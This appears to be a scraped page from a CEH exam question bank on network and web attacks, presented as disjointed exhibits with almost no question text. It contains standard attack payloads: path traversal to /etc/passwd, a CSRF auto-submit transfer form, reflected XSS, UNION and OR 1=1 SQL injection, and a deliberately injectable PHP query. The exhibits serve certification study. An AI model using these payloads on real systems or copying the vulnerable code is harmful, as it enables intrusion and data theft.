CEH Network and Web Application Attacks • Complete Question Bank
Complete CEH Network and Web Application Attacks question bank — all 0 questions with answers and detailed explanations.
Drag steps to the numbered slots on the right, or tap a step then tap a slot.
[Apache access log] 192.168.1.10 - - [20/Jan/2023:10:15:30 +0000] "GET /index.php?page=../../etc/passwd HTTP/1.1" 200 2345 192.168.1.10 - - [20/Jan/2023:10:15:31 +0000] "GET /index.php?page=../../windows/system32/config/sam HTTP/1.1" 200 1234 192.168.1.10 - - [20/Jan/2023:10:15:32 +0000] "GET /index.php?page=admin.php HTTP/1.1" 200 567
HTTP/1.1 302 Found Location: http://www.legitimatebank.com/login.php Set-Cookie: sessionid=abc123; HttpOnly; Secure HTTP/1.1 200 OK Content-Type: text/html <html> <body> <form action="http://www.legitimatebank.com/transfer.php" method="POST"> <input type="hidden" name="toAccount" value="attacker123"> <input type="hidden" name="amount" value="10000"> </form> <script>document.forms[0].submit();</script> </body> </html>
C:\Users\Admin> netstat -ano | findstr :80 TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4520 TCP 192.168.1.100:80 192.168.1.50:54321 ESTABLISHED 4520 TCP 192.168.1.100:80 10.0.0.5:12345 TIME_WAIT 0 TCP [::]:80 [::]:0 LISTENING 4520 C:\Users\Admin> tasklist | findstr 4520 httpd.exe 4520 Console 0 34,568 K
Refer to the exhibit. A security analyst intercepts this HTTP request and response.
--- Request --- GET /search?q=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1 Host: example.com
--- Response --- HTTP/1.1 200 OK Content-Type: text/html
<html><body>Search results for: <script>alert(1)</script></body></html>
Which type of vulnerability is present?
GET /search?q=<script>alert('XSS')</script> HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html
<html><body><h1>Search results for: <script>alert('XSS')</script></h1></body></html># /etc/nginx/nginx.conf (snippet)
location /admin {
satisfy any;
allow 192.168.1.0/24;
deny all;
auth_basic "Admin Area";
auth_basic_user_file /etc/nginx/.htpasswd;
}
# Access log entry
192.168.2.10 - admin [10/Oct/2023:13:55:36 +0000] "GET /admin HTTP/1.1" 401 188<?php
$conn = new mysqli("localhost", "root", "password", "testdb");
$id = $_GET['id'];
$result = $conn->query("SELECT * FROM users WHERE id = $id");
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "User: " . $row['username'] . " - Email: " . $row['email'];
}
}
?>
# Input: ?id=1 UNION SELECT 1,2,3
# Output: User: 2 - Email: 3Refer to the exhibit.
GET /search?q=<script>alert('XSS')</script> HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html
<html><body>You searched for: <script>alert('XSS')</script></body></html>Refer to the exhibit. GET /search?q=1 UNION SELECT username,password FROM users-- HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 12:00:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Type: text/html <html><body><h1>Search Results</h1><p>admin:5f4dcc3b5aa765d61d8327deb882cf99</p><p>user1:5d41402abc4b2a76b9719d911017c592</p></body></html>
Drag a concept onto its matching description — or click a concept then click the description.
Symmetric encryption
Asymmetric encryption
Hash function (broken)
Hash function (secure)
Symmetric encryption (deprecated)
C:\Users\admin>netstat -ano | findstr :80 TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 1234 TCP 10.1.1.5:443 10.2.2.3:54321 ESTABLISHED 5678 TCP 10.1.1.5:443 10.2.2.4:12345 TIME_WAIT 0 TCP 10.1.1.5:443 10.2.2.5:9876 ESTABLISHED 5678 C:\Users\admin>tasklist | findstr 5678 pid.exe 5678 Console 1 2,456 K
nmap -sV -p 80,443,3306 192.168.1.100 Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-20 10:30 Nmap scan report for 192.168.1.100 Host is up (0.0012s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.49 443/tcp open ssl/http Apache httpd 2.4.49 3306/tcp open mysql MySQL 5.7.35
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getUserInfo>
<userId>1 OR 1=1</userId>
</getUserInfo>
</soap:Body>
</soap:Envelope>
Response:
<soap:Envelope>
<soap:Body>
<getUserInfoResponse>
<user>
<id>1</id>
<name>admin</name>
<email>admin@test.com</email>
</user>
<user>
<id>2</id>
<name>user</name>
<email>user@test.com</email>
</user>
</getUserInfoResponse>
</soap:Body>
</soap:Envelope>nslookup www.example.com
Server: UnKnown
Address: 192.168.1.1
Non-authoritative answer:
Name: www.example.com
Addresses: 10.0.0.1
10.0.0.2
203.0.113.5
dig @192.168.1.1 www.example.com
;; ANSWER SECTION:
www.example.com. 60 IN A 10.0.0.1
www.example.com. 60 IN A 10.0.0.2
www.example.com. 60 IN A 203.0.113.5